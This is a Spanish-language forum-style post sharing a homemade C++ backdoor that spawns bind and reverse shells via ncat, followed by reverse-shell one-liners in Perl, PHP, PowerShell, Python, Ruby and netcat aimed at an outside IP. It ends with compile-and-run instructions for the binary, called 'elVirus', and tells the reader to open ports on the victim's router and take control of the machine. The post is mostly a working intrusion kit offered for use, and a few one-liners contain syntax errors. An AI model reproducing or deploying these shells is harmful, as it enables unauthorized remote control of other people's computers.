No necesitas un PC. Puedes hacerlo en Android sin problemas.
Te dejo un backdoor super sencillo que hice hoy. Voy a ampliarlo y mejorarlo. Lo hice en Android con termux, vim y g++.
#include <iostream>
#include <string>
using namespace std;
#define PUERTO static_cast<string>("9090")
#define IP static_cast<string>("127.0.0.1")
#define REVERSE_IP static_cast<string>("93.184.216.34")
void BindShell(string);
int main() {
string comando = "";
#ifdef __linux__
/* Shell Local */
BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
/* Remote Shell */
BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
#else /* Windows */
/* Shell Local */
BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
/* Remote Shell */
BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
#endif
return 0;
}
void BindShell(string command) {
system(command.c_str());
}
Ahí tienes algunos comandos. Puedes implementarla 100% en C++ u otro lenguaje en lugar de tener dependencias.
También te dejo otras shells en otros lenguajes por si los necesitas:
perl -e 'use SOCKET;$i="93.184.216.34";p=9090;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("93.184.216.34",9090);exec("/bin/sh -i <&3 >&3 2>&3");'
$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("93.184.216.34"),9090);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..65535 | %{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes = $client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};client.Close()
python -c 'import socket,subprocess,os,s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("93.184.216.34",9090));os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("93.184.216.34",9090).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 93.184.216.34 9090
xterm -display 93.184.216.34:9090
...
Para compilar con C++ usa g++
Para hacer cross compile, por ejemplo de linux a windows (generar un .exe en linux) te hace falta mingw.
Los comandos que necesitas es algo tipo:
vim codigoBackdoor.cpp
Dentro metes el código.
La tecla i te permite escribir.
Sales del modo escritura con escape.
Sales y guardas con :wq
Después compilas con g++ codigoBackdoor.cpp -o elVirus
Le das permisos de ejecución si los necesitas con chmod +775 elVirus
Ejecuta con ./elVirus
En caso de una shell normal necesitas abrir puertos en el router de la víctima. Yo te puse el puerto 9090 en los ejemplos. Debes abrir ese apuntando a la ip local de la máquina víctima desde el panel del router.
En caso de una shell remota abres los puertos de tu equipo para recibir la conexión.
Puedes usar netcat tanto para conectarte a la víctima:
netcat ipVictima puerto
O netcat para escuchar a la víctima y controlarla.
netcat -l -k ipVictima puerto
Una vez se establece la conexión solo tienes que escribir los comandos.